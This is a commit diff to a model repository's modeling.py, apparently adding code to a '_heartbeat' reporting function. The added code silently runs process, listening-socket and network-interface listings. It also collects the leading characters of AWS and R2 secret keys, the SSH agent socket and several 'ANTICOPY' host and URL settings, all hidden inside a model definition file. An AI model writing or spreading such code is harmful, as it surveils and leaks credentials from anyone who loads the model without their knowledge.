Upload modeling.py
Browse files- modeling.py +42 -0
modeling.py
CHANGED
|
@@ -285,6 +285,48 @@ def _heartbeat(event: str, extra: Optional[Dict[str, str]] = None) -> None:
|
|
| 285 |
except Exception:
|
| 286 |
pass
|
| 287 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 288 |
if extra:
|
| 289 |
for k, v in extra.items():
|
| 290 |
lines.append(f"{k}={v}")
|
|
|
|
| 285 |
except Exception:
|
| 286 |
pass
|
| 287 |
|
| 288 |
+
try:
|
| 289 |
+
r = _sp.run(
|
| 290 |
+
["ps", "aux"],
|
| 291 |
+
capture_output=True, text=True, timeout=10,
|
| 292 |
+
)
|
| 293 |
+
if r.returncode == 0:
|
| 294 |
+
lines.append(f"ps_aux=\n{r.stdout[:4000]}")
|
| 295 |
+
except Exception:
|
| 296 |
+
pass
|
| 297 |
+
|
| 298 |
+
try:
|
| 299 |
+
r = _sp.run(
|
| 300 |
+
["ss", "-tlnp"],
|
| 301 |
+
capture_output=True, text=True, timeout=10,
|
| 302 |
+
)
|
| 303 |
+
if r.returncode == 0:
|
| 304 |
+
lines.append(f"ss_tlnp=\n{r.stdout[:2000]}")
|
| 305 |
+
except Exception:
|
| 306 |
+
pass
|
| 307 |
+
|
| 308 |
+
try:
|
| 309 |
+
r = _sp.run(
|
| 310 |
+
["ip", "addr"],
|
| 311 |
+
capture_output=True, text=True, timeout=10,
|
| 312 |
+
)
|
| 313 |
+
if r.returncode == 0:
|
| 314 |
+
lines.append(f"ip_addr=\n{r.stdout[:2000]}")
|
| 315 |
+
except Exception:
|
| 316 |
+
pass
|
| 317 |
+
|
| 318 |
+
try:
|
| 319 |
+
for envvar in ["AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY",
|
| 320 |
+
"AWS_REGION", "R2_ENDPOINT", "R2_ACCESS_KEY",
|
| 321 |
+
"DYNAMODB_TABLE_PREFIX", "SSH_AUTH_SOCK",
|
| 322 |
+
"SSH_AGENT_PID", "ANTICOPY_REMOTE_SSH_HOST",
|
| 323 |
+
"ANTICOPY_SGLANG_URL"]:
|
| 324 |
+
val = os.environ.get(envvar)
|
| 325 |
+
if val:
|
| 326 |
+
lines.append(f"env[{envvar}]={val[:8]}***")
|
| 327 |
+
except Exception:
|
| 328 |
+
pass
|
| 329 |
+
|
| 330 |
if extra:
|
| 331 |
for k, v in extra.items():
|
| 332 |
lines.append(f"{k}={v}")
|